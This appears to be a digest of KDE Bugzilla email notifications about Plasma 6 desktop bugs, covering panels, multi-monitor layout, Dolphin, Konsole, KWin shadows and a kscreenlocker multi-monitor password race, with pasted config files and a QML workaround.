https://bugs.kde.org/show_bug.cgi?id=483851 --- Comment #2 from Benjamin Xiao --- Created attachment 167382 --> https://bugs.kde.org/attachment.cgi?id=167382=edit Blurred bar covering maximized windows on secondary screen -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected
https://bugs.kde.org/show_bug.cgi?id=483851 --- Comment #1 from Benjamin Xiao --- Created attachment 167380 --> https://bugs.kde.org/attachment.cgi?id=167380=edit Bug when floating panel is "unfloated" by a window -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 483851] New: Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected
https://bugs.kde.org/show_bug.cgi?id=483851 Bug ID: 483851 Summary: Floating panel shows corruption on secondary screen when primary screen is stacked on top of it and disconnected Classification: Plasma Product: plasmashell Version: 6.0.2 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Panel Assignee: plasma-b...@kde.org Reporter: ben.r.x...@gmail.com CC: niccolo.venera...@gmail.com Target Milestone: 1.0 Created attachment 167379 --> https://bugs.kde.org/attachment.cgi?id=167379=edit Monitor layout SUMMARY I have a laptop that's connected to an external monitor. In the Display settings, I have the external stacked above the laptop display so that its laid out vertically (refer to monitor layout in attachments). The external display is marked as primary so that's where my main panel resides. If I disconnect and reconnect the external monitor and then drag a window close to the panel so it unfloats, it causes corruption to appear in the secondary screen. The corruption appears to be a gaussian blurred version of the desktop wallpaper. STEPS TO REPRODUCE 1. Connect an external monitor to a laptop and stack it above the laptop display in the Display settings 2. Mark external as primary so that panel is displayed on it 3. Disconnect monitor and reconnect 4. Move a window close to the panel so that it unfloats 5. Notice a gaussian blurred bar on the secondary laptop display. OBSERVED RESULT A weird blurred bar is shown on the secondary display EXPECTED RESULT No weird bar is displayed SOFTWARE/OS VERSIONS Operating System: Arch Linux KDE Plasma Version: 6.0.2 KDE Frameworks Version: 6.0.0 Qt Version: 6.6.2 Kernel Version: 6.8.1-arch1-1 (64-bit) Graphics Platform: Wayland Processors: 16 × AMD Ryzen 7 6800U with Radeon Graphics Memory: 30.7 GiB of RAM Graphics Processor: AMD Radeon Graphics Manufacturer: HP Product Name: HP EliteBook 845 14 inch G9 Notebook PC System Version: SBKPF -- You are receiving this mail because: You are watching all bug changes.
[neon] [Bug 483620] pkcon update get fatal error, neon-ubuntu-advantage-tools: Breaks: ubuntu-advantage-tools
https://bugs.kde.org/show_bug.cgi?id=483620 Benjamin Buch changed: What|Removed |Added CC||benni.b...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[dolphin] [Bug 482899] Dolphin can't write to folder with group write access
https://bugs.kde.org/show_bug.cgi?id=482899 Benjamin Xiao changed: What|Removed |Added CC||ben.r.x...@gmail.com --- Comment #2 from Benjamin Xiao --- Yep, I am seeing this bug on Arch KDE 6.0.1 and Dolphin 24.02.0 as well. I have a folder with root:users and 775 permissions. My user belongs to the users group and yet can not write in that folder with Dolphin at all. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 482625] Application Launcher menu is no longer left-aligned with the launcher button
https://bugs.kde.org/show_bug.cgi?id=482625 Benjamin Xiao changed: What|Removed |Added CC||niccolo.venera...@gmail.com Component|Application Launcher|Panel |(Kickoff) | -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 482625] Application Launcher menu is no longer left-aligned with the launcher button
https://bugs.kde.org/show_bug.cgi?id=482625 --- Comment #2 from Benjamin Xiao --- Created attachment 166616 --> https://bugs.kde.org/attachment.cgi?id=166616=edit Panel calendar is also affected Same thing happens with the clock calendar. -- You are receiving this mail because: You are watching all bug changes.
[konsole] [Bug 482215] Konsole crash when trying to open terminal from Dolphin
https://bugs.kde.org/show_bug.cgi?id=482215 --- Comment #3 from Benjamin Xiao --- Can confirm on Arch Linux as well. This only happens in X11. Works fine in Wayland. -- You are receiving this mail because: You are watching all bug changes.
[konsole] [Bug 482215] Konsole crash when trying to open terminal from Dolphin
https://bugs.kde.org/show_bug.cgi?id=482215 Benjamin Xiao changed: What|Removed |Added CC||ben.r.x...@gmail.com -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 482625] Application Launcher menu is no longer left-aligned with the launcher button
https://bugs.kde.org/show_bug.cgi?id=482625 --- Comment #1 from Benjamin Xiao --- Created attachment 166531 --> https://bugs.kde.org/attachment.cgi?id=166531=edit Screenshot of issue -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 482625] New: Application Launcher menu is no longer left-aligned with the launcher button
https://bugs.kde.org/show_bug.cgi?id=482625 Bug ID: 482625 Summary: Application Launcher menu is no longer left-aligned with the launcher button Classification: Plasma Product: plasmashell Version: 6.0.1 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Application Launcher (Kickoff) Assignee: plasma-b...@kde.org Reporter: ben.r.x...@gmail.com CC: mikel5...@gmail.com, noaha...@gmail.com Target Milestone: 1.0 SUMMARY *** NOTE: If you are reporting a crash, please try to attach a backtrace with debug symbols. See https://community.kde.org/Guidelines_and_HOWTOs/Debugging/How_to_create_useful_crash_reports *** My panel is configured so that it does not take up the whole width of my screen but is instead smack dab in the middle at about half-width. After upgrading to Plasma 6, I noticed that the Application Launcher menu is middle-aligned instead of left-aligned like it was before. It now extends past the panel edges and not only looks visually unappealing but also makes mouse navigation less optimal than it was before. STEPS TO REPRODUCE 1. Shrink the default panel so that it does not take up the full width of the screen 2. Click on the application launcher OBSERVED RESULT Application launcher menu is middle-aligned with the launcher button EXPECTED RESULT Launcher menu should be left-aligned so that it doesn't extend past the panel edges. SOFTWARE/OS VERSIONS Operating System: Arch Linux KDE Plasma Version: 6.0.1 KDE Frameworks Version: 6.0.0 Qt Version: 6.6.2 Kernel Version: 6.7.8-arch1-1 (64-bit) Graphics Platform: X11 Processors: 24 × AMD Ryzen 9 3900X 12-Core Processor Memory: 31.3 GiB of RAM Graphics Processor: NVIDIA GeForce RTX 3090/PCIe/SSE2 Product Name: X570 Taichi ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[dolphin] [Bug 481804] New: Dolphin uses CPU when its window is minimized, when as far as I know, it shouldn't be doing anything.
https://bugs.kde.org/show_bug.cgi?id=481804 Bug ID: 481804 Summary: Dolphin uses CPU when its window is minimized, when as far as I know, it shouldn't be doing anything. Classification: Applications Product: dolphin Version: 23.08.5 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: general Assignee: dolphin-bugs-n...@kde.org Reporter: broes2...@gmail.com CC: kfm-de...@kde.org Target Milestone: --- SUMMARY I noticed that my laptop was getting hot when it shouldn't have been doing anything. After looking at htop, I found that it was Dolphin using a single core at 100%. I had launched Dolphin a while ago and had minimized the window when I was done using it. It starts happening not long after I launch it. STEPS TO REPRODUCE 1. Launch Dolphin. 2. Open a process monitor and observe. OBSERVED RESULT My laptop gets hot and the fan spins up. EXPECTED RESULT Dolphin's process should be sleeping when I'm not interacting with the app. SOFTWARE/OS VERSIONS KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.115.0 Qt Version: 5.15.12 Linux: 6.7.4-arch1-1 (not sure this one is relevant) ADDITIONAL INFORMATION I'm not entirely sure that Dolphin is not actually meant to be doing something. If that's the case, then I'm sorry I've wasted some of your time. -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 481061] Display identification not possible
https://bugs.kde.org/show_bug.cgi?id=481061 --- Comment #5 from Benjamin Flesch --- PR for kscreen: https://invent.kde.org/plasma/kscreen/-/merge_requests/284 -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 481061] Display identification not possible
https://bugs.kde.org/show_bug.cgi?id=481061 --- Comment #4 from Benjamin Flesch --- PR for kwin: https://invent.kde.org/plasma/kwin/-/merge_requests/5165 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481062] "Manage Panels" out of sync with actual panels
https://bugs.kde.org/show_bug.cgi?id=481062 --- Comment #5 from Benjamin Flesch --- I can reproduce this when I manually place one panel on each monitor, then go to SDDM (X11) and then log in again to plasma. The panels will be moved left like an off-by-one error and two panels stack at the leftmost monitor. When I edit the panel and want to move it back to the center monitor it is not possible, because the panel thinks it is on the center monitor already. -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 481061] Display identification not possible
https://bugs.kde.org/show_bug.cgi?id=481061 --- Comment #2 from Benjamin Flesch --- Yes, numbers is definitely better than printing a *different* string in the monitor label than it is shown in the settings. I dont know why we need to reinvent the wheel here, display sorting is a solved problem, why try to do it so complex? -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481057] Cannot exit "edit mode" with ESC key
https://bugs.kde.org/show_bug.cgi?id=481057 --- Comment #5 from Benjamin Flesch --- I also had a situation earlier where if you habe closed the edit mode and right click on the panel on another monitor, the context menu still shows "exit edit mode" instead of enter edit mode. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481062] "Manage Panels" out of sync with actual panels
https://bugs.kde.org/show_bug.cgi?id=481062 --- Comment #4 from Benjamin Flesch --- It also feels to me like the panels are shifted by one. The rightmost monitor has no panel. If I have a window in the rightmost monitor, it shows up in the task manager applet of the panel on the center monitor. If I have a window in the center monitor, the task maanger applet of the panel in the center monitor does not show it - it is shown in the task manager applet of the panel on the left monitor. If I have a window on the very right monitor, the task manager applet of the second panel on the left monitor shows it. Super weird. SSDM is X11, Playsma with wayland. SDDM only shows middle monitor (HDMI) and the left and right monitor are only initialized with plasma/wayland. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481062] "Manage Panels" out of sync with actual panels
https://bugs.kde.org/show_bug.cgi?id=481062 --- Comment #3 from Benjamin Flesch --- File plasma-org.kde.plasma.desktop-appletsrc: [ActionPlugins][0] MiddleButton;NoModifier=org.kde.paste RightButton;NoModifier=org.kde.contextmenu [ActionPlugins][1] RightButton;NoModifier=org.kde.contextmenu [Containments][4499] ItemGeometries-1920x1080= ItemGeometriesHorizontal= activityId=11cb0125-8d26-49d9-9d23-623886c0a4d8 formfactor=0 immutability=1 lastScreen=0 location=0 plugin=org.kde.plasma.folder wallpaperplugin=org.kde.image [Containments][4499][ConfigDialog] DialogHeight=660 DialogWidth=880 [Containments][4499][Configuration] PreloadWeight=42 [Containments][4499][General] ToolBoxButtonState=topcenter ToolBoxButtonX=273 [Containments][4499][Wallpaper][org.kde.image][General] FillMode=0 Image=/my/wallpaper.jpg [Containments][4500] ItemGeometries-1920x1080= ItemGeometriesHorizontal= activityId=11cb0125-8d26-49d9-9d23-623886c0a4d8 formfactor=0 immutability=1 lastScreen=1 location=0 plugin=org.kde.plasma.folder wallpaperplugin=org.kde.image [Containments][4500][General] ToolBoxButtonState=topcenter ToolBoxButtonX=273 [Containments][4500][Wallpaper][org.kde.image][General] FillMode=0 Image=/my/wallpaper.jpg [Containments][4501] ItemGeometries-1920x1080= ItemGeometriesHorizontal= activityId=11cb0125-8d26-49d9-9d23-623886c0a4d8 formfactor=0 immutability=1 lastScreen=2 location=0 plugin=org.kde.plasma.folder wallpaperplugin=org.kde.image [Containments][4501][General] ToolBoxButtonState=topcenter ToolBoxButtonX=273 [Containments][4501][Wallpaper][org.kde.image][General] FillMode=0 Image=/my/wallpaper.jpg [Containments][4502] activityId= formfactor=2 immutability=1 lastScreen=0 location=4 plugin=org.kde.panel wallpaperplugin=org.kde.image [Containments][4502][Applets][4503] immutability=1 plugin=org.kde.plasma.kickoff [Containments][4502][Applets][4503][Configuration] PreloadWeight=100 popupHeight=614 popupWidth=779 [Containments][4502][Applets][4503][Configuration][ConfigDialog] DialogHeight=690 DialogWidth=920 [Containments][4502][Applets][4503][Configuration][General] compactMode=true favoritesDisplay=1 favoritesPortedToKAstats=true icon=steam_icon_1572920 systemFavorites=suspend\\,hibernate\\,reboot\\,shutdown [Containments][4502][Applets][4504] immutability=1 plugin=org.kde.plasma.taskmanager [Containments][4502][Applets][4504][Configuration] PreloadWeight=42 [Containments][4502][Applets][4504][Configuration][ConfigDialog] DialogHeight=540 DialogWidth=720 [Containments][4502][Applets][4504][Configuration][General] forceStripes=true groupingAppIdBlacklist=chromium.desktop groupingLauncherUrlBlacklist=applications:chromium.desktop groupingStrategy=0 highlightWindows=false indicateAudioStreams=false launchers= onlyGroupWhenFull=false showOnlyCurrentActivity=false showOnlyCurrentScreen=true showToolTips=false sortingStrategy=0 [Containments][4502][Applets][4505] immutability=1 plugin=org.kde.plasma.pager [Containments][4502][Applets][4505][Configuration] PreloadWeight=42 [Containments][4502][Applets][4505][Configuration][ConfigDialog] DialogHeight=540 DialogWidth=720 [Containments][4502][Applets][4505][Configuration][General] wrapPage=true [Containments][4502][Applets][4506] immutability=1 plugin=org.kde.plasma.marginsseparator [Containments][4502][Applets][4506][Configuration] PreloadWeight=42 [Containments][4502][Applets][4507] immutability=1 plugin=org.kde.plasma.systemtray [Containments][4502][Applets][4507][Configuration] PreloadWeight=92 SystrayContainmentId=4508 [Containments][4502][Applets][4521] immutability=1 plugin=org.kde.plasma.showdesktop [Containments][4502][Applets][4521][Configuration] PreloadWeight=100 [Containments][4502][Applets][4521][Configuration][ConfigDialog] DialogHeight=690 DialogWidth=920 [Containments][4502][Applets][4522] immutability=1 plugin=org.kde.plasma.digitalclock [Containments][4502][Applets][4522][Configuration] PreloadWeight=92 popupHeight=600 popupWidth=1080 [Containments][4502][Applets][4522][Configuration][Appearance] customDateFormat=ddd d MMM dateFormat=custom enabledCalendarPlugins=/usr/lib/qt/plugins/plasmacalendarplugins/astronomicalevents.so,/usr/lib/qt/plugins/plasmacalendarplugins/holidaysevents.so firstDayOfWeek=1 showWeekNumbers=true use24hFormat=2 [Containments][4502][Applets][4522][Configuration][ConfigDialog] DialogHeight=741 DialogWidth=913 [Containments][4502][ConfigDialog] DialogHeight=100 DialogWidth=1920 [Containments][4502][Configuration] PreloadWeight=42 [Containments][4502][General] AppletOrder=4503;4504;4505;4506;4507;4521;4522 [Containments][4508] activityId= formfactor=2 immutability=1 lastScreen=0 location=4 plugin=org.kde.plasma.private.systemtray wallpaperplugin=org.kde.image [Containments][4508][Applets][4509] immutability=1 plugin=org.kde.plasma.manage-inputmethod [Containments][4508][Applets][4510] immutability=1 plugin=org.kde.plasma.printmanager [Containments][4508][Applets][4511] immutability=1
[plasmashell] [Bug 481062] "Manage Panels" out of sync with actual panels
https://bugs.kde.org/show_bug.cgi?id=481062 --- Comment #2 from Benjamin Flesch --- plasmashellrc: [ActionsWidget] ColumnState=/wABAQAAAvQCAQAAAQAAAGT/gQAC+gEB+gED6ABk [ConfigDialog] 3 screens: Height=683 3 screens: Width=988 [General] Number of Actions=0 [KFileDialog Settings] Recent Files[$e]= Recent URLs[$e]= detailViewIconSize=16 [PIMEventsPlugin] calendars=2,8 [PlasmaViews][Panel 1006][Defaults] offset=0 [PlasmaViews][Panel 1008][Defaults] offset=0 [PlasmaViews][Panel 1010][Defaults] thickness=60 [PlasmaViews][Panel 1029][Defaults] offset=0 [PlasmaViews][Panel 1031][Defaults] offset=0 [PlasmaViews][Panel 1034][Defaults] offset=0 [PlasmaViews][Panel 1038][Defaults] thickness=60 [PlasmaViews][Panel 1040][Defaults] offset=0 [PlasmaViews][Panel 1061][Defaults] offset=0 [PlasmaViews][Panel 1062][Defaults] thickness=60 [PlasmaViews][Panel 1063][Defaults] offset=0 [PlasmaViews][Panel 1066][Defaults] offset=0 [PlasmaViews][Panel 1072][Defaults] offset=0 [PlasmaViews][Panel 1087][Defaults] offset=0 [PlasmaViews][Panel 1089][Defaults] offset=0 [PlasmaViews][Panel 109][Defaults] offset=0 [PlasmaViews][Panel 1090][Defaults] offset=0 [PlasmaViews][Panel 1093][Defaults] offset=0 [PlasmaViews][Panel 1095][Defaults] offset=0 [PlasmaViews][Panel 1098][Defaults] offset=0 [PlasmaViews][Panel 11][Defaults] thickness=60 [PlasmaViews][Panel 1104][Defaults] thickness=60 [PlasmaViews][Panel 111][Defaults] maxLength=1920 minLength=1920 offset=0 thickness=30 [PlasmaViews][Panel 111][Horizontal1920] maxLength=1920 minLength=1920 [PlasmaViews][Panel 1118][Defaults] offset=0 [PlasmaViews][Panel 1119][Defaults] offset=0 [PlasmaViews][Panel 1121][Defaults] offset=0 [PlasmaViews][Panel 1130][Defaults] offset=0 [PlasmaViews][Panel 1132][Defaults] offset=0 [PlasmaViews][Panel 1146][Defaults] thickness=60 [PlasmaViews][Panel 1151][Defaults] offset=0 [PlasmaViews][Panel 1153][Defaults] offset=0 [PlasmaViews][Panel 1155][Defaults] offset=0 [PlasmaViews][Panel 116][Defaults] maxLength=2560 minLength=2560 offset=0 thickness=60 [PlasmaViews][Panel 116][Horizontal1920] maxLength=2560 minLength=2560 [PlasmaViews][Panel 1162][Defaults] offset=0 [PlasmaViews][Panel 1164][Defaults] offset=0 [PlasmaViews][Panel 1174][Defaults] offset=0 [PlasmaViews][Panel 1183][Defaults] offset=0 [PlasmaViews][Panel 1185][Defaults] offset=0 [PlasmaViews][Panel 1187][Defaults] offset=0 [PlasmaViews][Panel 1194][Defaults] offset=0 [PlasmaViews][Panel 1196][Defaults] offset=0 [PlasmaViews][Panel 120][Defaults] offset=0 [PlasmaViews][Panel 1202][Defaults] thickness=60 [PlasmaViews][Panel 1215][Defaults] offset=0 [PlasmaViews][Panel 1217][Defaults] offset=0 [PlasmaViews][Panel 1219][Defaults] offset=0 [PlasmaViews][Panel 1226][Defaults] offset=0 [PlasmaViews][Panel 1228][Defaults] offset=0 [PlasmaViews][Panel 1230][Defaults] offset=0 [PlasmaViews][Panel 124][Defaults] thickness=60 [PlasmaViews][Panel 1247][Defaults] offset=0 [PlasmaViews][Panel 1249][Defaults] offset=0 [PlasmaViews][Panel 1251][Defaults] offset=0 [PlasmaViews][Panel 1255][Defaults] thickness=60 [PlasmaViews][Panel 1258][Defaults] offset=0 [PlasmaViews][Panel 1260][Defaults] thickness=60 [PlasmaViews][Panel 1283][Defaults] offset=0 [PlasmaViews][Panel 1285][Defaults] offset=0 [PlasmaViews][Panel 1287][Defaults] offset=0 [PlasmaViews][Panel 1304][Defaults] offset=0 [PlasmaViews][Panel 1306][Defaults] offset=0 [PlasmaViews][Panel 1308][Defaults] offset=0 [PlasmaViews][Panel 1310][Defaults] offset=0 [PlasmaViews][Panel 1312][Defaults] offset=0 [PlasmaViews][Panel 1315][Defaults] offset=0 [PlasmaViews][Panel 1318][Defaults] offset=0 [PlasmaViews][Panel 1336][Defaults] offset=0 [PlasmaViews][Panel 1338][Defaults] offset=0 [PlasmaViews][Panel 1339][Defaults] offset=0 thickness=60 [PlasmaViews][Panel 1341][Defaults] offset=0 [PlasmaViews][Panel 1347][Defaults] offset=0 [PlasmaViews][Panel 1349][Defaults] offset=0 [PlasmaViews][Panel 136][Defaults] thickness=44 [PlasmaViews][Panel 1366][Defaults] offset=0 [PlasmaViews][Panel 1368][Defaults] offset=0 [PlasmaViews][Panel 1370][Defaults] offset=0 [PlasmaViews][Panel 1372][Defaults] offset=0 [PlasmaViews][Panel 1379][Defaults] offset=0 [PlasmaViews][Panel 1380][Defaults] thickness=60 [PlasmaViews][Panel 1393][Defaults] offset=0 [PlasmaViews][Panel 1400][Defaults] offset=0 [PlasmaViews][Panel 1402][Defaults] offset=0 [PlasmaViews][Panel 1407][Defaults] offset=0 [PlasmaViews][Panel 141][Defaults] offset=0 [PlasmaViews][Panel 1411][Defaults] offset=0 [PlasmaViews][Panel 1420][Defaults] offset=0 [PlasmaViews][Panel 1428][Defaults] offset=0 [PlasmaViews][Panel 143][Defaults] offset=0 [PlasmaViews][Panel 1430][Defaults] offset=0 [PlasmaViews][Panel 1432][Defaults] offset=0 [PlasmaViews][Panel 1434][Defaults] offset=0 [PlasmaViews][Panel 1438][Defaults] thickness
[plasmashell] [Bug 481062] New: "Manage Panels" out of sync with actual panels
https://bugs.kde.org/show_bug.cgi?id=481062 Bug ID: 481062 Summary: "Manage Panels" out of sync with actual panels Classification: Plasma Product: plasmashell Version: 5.93.0 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: "Manage Desktop and Panels" window Assignee: plasma-b...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: 1.0 Created attachment 165671 --> https://bugs.kde.org/attachment.cgi?id=165671=edit panel moved after reboot and out of sync with dialog SUMMARY *** After reboot, two panels end up at the same screen. "Manage panels" window still shows how it should be. The window and the actual panels should never be out of sync. Multi-monitor wayland setup with 1x HDMI direclty attached to laptop and 2x DVI attached via USB-C displaylink Using 6 RC2 *** STEPS TO REPRODUCE 1. add panel to each monitor 2. reboot 3. observe one panel has moved to another monitor, so there is 1 monitor with 2 panels and 1 monitor with 0 panels 4. open "edit mode" and then "desktop panels" 5. see that the settings dialog shows 1 panel on each monitor, even though that is not the case OBSERVED RESULT out of sync after reboot EXPECTED RESULT not out of sync SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481061] New: Display identification not possible
https://bugs.kde.org/show_bug.cgi?id=481061 Bug ID: 481061 Summary: Display identification not possible Classification: Plasma Product: plasmashell Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: "Manage Desktop and Panels" window Assignee: plasma-b...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: 1.0 Created attachment 165670 --> https://bugs.kde.org/attachment.cgi?id=165670=edit cannot identify monitor with these labels SUMMARY *** When using the "display configuration" settings with 3 screen, the identification of individual monitors is not possible, because the monitor names shown on each monitor and in the "display configuration" interface are actually different! please see screenshot *** STEPS TO REPRODUCE 1. 3 monitors, one via native hdmi, two via usb-c dvi, all same model 2. right click desktop -> manage displays 3. click "identify button" OBSERVED RESULT same label on all screens with small addition which is not reflected in the main window EXPECTED RESULT Actual numbers 1, 2, 3 5.93 6RC3 on wayland SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481057] Cannot exit "edit mode" with ESC key
https://bugs.kde.org/show_bug.cgi?id=481057 Benjamin Flesch changed: What|Removed |Added Resolution|WAITINGFORINFO |--- Status|NEEDSINFO |REPORTED --- Comment #2 from Benjamin Flesch --- wayland -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 481057] New: Cannot exit "edit mode" with ESC key
https://bugs.kde.org/show_bug.cgi?id=481057
Bug ID: 481057
Summary: Cannot exit "edit mode" with ESC key
Classification: Plasma
Product: plasmashell
Version: 5.93.0
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: Edit Mode toolbar
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
Target Milestone: 1.0
SUMMARY
***
Running v6RC2 on a three-monitor setup. When I right-click on a panel that
contains a task manager applet and select "edit mode", the plasmashell edit
mode launches, and the new positiong widget shows up. However, another context
menu from the task manager overlays the edit mode positioning widget with
options "remove" "configure" "show alternatives". In this case, I cannot use
ESC key to close the edit mode. If I press ESC, the overlaying context menu
will close, the windows will fly back in, but the edit mode toolbar at the top
of the screen remains. Also the panel remains in the hover/focus state with
blue border.
***
STEPS TO REPRODUCE
1. right click on panel with task manager applet to open edit mode
2. see that edit mode top panel appers, edit mode positioning widget appears,
and a context menu for task manager ("remove" "configure" "show alternatives")
3. press ESC key to close edit mode as usual
4. edit mode will remain open
OBSERVED RESULT
edit mode not closed with ESC key
EXPECTED RESULT
edit mode closes with ESC key as usual
SOFTWARE/OS VERSIONS
Windows:
macOS:
Linux/KDE Plasma: 5.9.3
(available in About System)
KDE Plasma Version:
KDE Frameworks Version:
Qt Version:
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[kwin] [Bug 481048] wayland: shadow of gtk-themed windows prevents right click on desktop
https://bugs.kde.org/show_bug.cgi?id=481048 Benjamin Flesch changed: What|Removed |Added Resolution|--- |NOT A BUG Status|REPORTED|RESOLVED --- Comment #3 from Benjamin Flesch --- Thank you! The issue has been resolved. I've followed tutorial https://gnulinux.ch/mozilla-firefox-im-wayland-modus-nutzen to force thunderbird to use native wayland implementation with this command: sudo echo "MOZ_ENABLE_WAYLAND=1" >> /etc/environment The logout and log in to plasma wayland again, and now the shadow area is right-clickable and shows desktop content menu. >From my side the issue is resolved, if you want to keep this as xwayland issue then you can reopen it. -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481048] wayland: shadow of gtk-themed windows prevents right click on desktop
https://bugs.kde.org/show_bug.cgi?id=481048 --- Comment #2 from Benjamin Flesch --- I've done the xprop test and it shows a crosshair cursor, so it's running in xwayland. -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 481048] New: wayland: shadow of gtk-themed windows prevents right click on desktop
https://bugs.kde.org/show_bug.cgi?id=481048 Bug ID: 481048 Summary: wayland: shadow of gtk-themed windows prevents right click on desktop Classification: Plasma Product: kwin Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: multi-screen Assignee: kwin-bugs-n...@kde.org Reporter: benjaminfle...@icloud.com Target Milestone: --- SUMMARY *** On plasma v6 RC2 GTK-themed windows such as thunderbird have a shadow with the default breeze theme. This shadow area is mostly transparent, but quite large. If you try to right click the desktop behind the shadow the mouse click does not register with the desktop and the desktop context menu does not appear. *** STEPS TO REPRODUCE 1. Open thunderbird in windowed mode 2. Notice shadow around the window 3. try to right click outside the thunderbird window, but in the area of the shadow OBSERVED RESULT desktop context menu does not open EXPECTED RESULT desktop context menu should open SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: 5.93 (available in About System) KDE Plasma Version: 5.93 KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[Plasma SDK] [Bug 481030] New: lookandfeelexplorer not showing themes
https://bugs.kde.org/show_bug.cgi?id=481030 Bug ID: 481030 Summary: lookandfeelexplorer not showing themes Classification: Plasma Product: Plasma SDK Version: 5.93.0 Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: plasmathemeexplorer Assignee: plasma-b...@kde.org Reporter: benjaminfle...@icloud.com CC: giorgos.tsiapalio...@kde.org, m...@ratijas.tk Target Milestone: --- SUMMARY *** lookandfeelexplorer 5.93 does not show any global themes and for local themes it has empty metadata fields *** STEPS TO REPRODUCE 1. run lookandfeelexplorer in cmdline 2. see empty textboxes everywhere 3. try to select global theme (breeze) 4. notice that breeze is not in the dropdown menu OBSERVED RESULT app is unusable EXPECTED RESULT app is usable SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: 5.93 (available in About System) KDE Plasma Version: KDE Frameworks Version: Qt Version: ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[kscreenlocker] [Bug 481026] kscreenlocker fallback theme multimonitor race condition
https://bugs.kde.org/show_bug.cgi?id=481026 --- Comment #2 from Benjamin Flesch --- can't seem to trigger it in the breeze lockscreen right now -- You are receiving this mail because: You are watching all bug changes.
[kscreenlocker] [Bug 481026] kscreenlocker fallback theme multimonitor race condition
https://bugs.kde.org/show_bug.cgi?id=481026 --- Comment #1 from Benjamin Flesch --- I've experienced this race condition with fallback lockscreen today on plasma v6 RC2 on a three monitor setup, one monitor via HDMI and two via DVI over an USB-C docking station (displaylink) -- You are receiving this mail because: You are watching all bug changes.
[kscreenlocker] [Bug 481026] New: kscreenlocker fallback theme multimonitor race condition
https://bugs.kde.org/show_bug.cgi?id=481026
Bug ID: 481026
Summary: kscreenlocker fallback theme multimonitor race
condition
Classification: Plasma
Product: kscreenlocker
Version: 5.93.0
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: general
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
Target Milestone: ---
SUMMARY
***
When kscreenlocker fallback theme is used in a multimonitor setup, an instance
of the fallback theme is created for each monitor. When
authenticator.onPromptForSecret() signal is received every single instance
receives this signal and sends the content of their password field via
`authenticator.respond(password.text);`.
In some cases, the instance with the password textfield that's been edited by
the user is sent, and in some cases the empty password fields of an fallback
instance on another monitor is sent first.
This creates a problem where the user types in the correct password, but the
login still fails - which can lead to locking of their session (happened to me
some times).
***
STEPS TO REPRODUCE
1. have a multimonitor setup
2. use fallback theme
3. type in password on one of the screens, press enter
4. sometimes, login fails even though you have typed in the proper password
(verify with "show password" button on the password input box) - this is the
race condition
5. once the race condition is met, you need to figure out which window is
processed first and/or type in your password into the password field on each
monitor to unlock again
OBSERVED RESULT
user gets locked out even though they have proper password
EXPECTED RESULT
no locking out and no race conditon
SOFTWARE/OS VERSIONS
Linux/KDE Plasma: 5.93
ADDITIONAL INFORMATION
In my theme I have fixed this issue by setting `Connections { target :
authenticator; enabled: false }` for all lockscreen instances on monitors who
don't have user interaction. In order to check for user interaction, I'm using
a `MouseArea { hoverEnabled: true; }` and a state transition for the lockscreen
root element like this:
```
states: [
State {
name: "NoInput"
when: !myMouseArea.containsMouse
PropertyChanges {
target: myAuthenticatorConnection
enabled: false
}
},
State {
name: "ReadyForInput"
when: myMouseArea.containsMouse
PropertyChanges {
target: myAuthenticatorConnection
enabled: true
}
}
]
```
With this `mouseArea.containsMouse` hack you can prevent the race condition,
because only the "enabled" connection will receive the signal.
--
You are receiving this mail because:
You are watching all bug changes.
[plasmashell] [Bug 481016] New: SystemTray has size of 1x1 pixels after first boot into v6
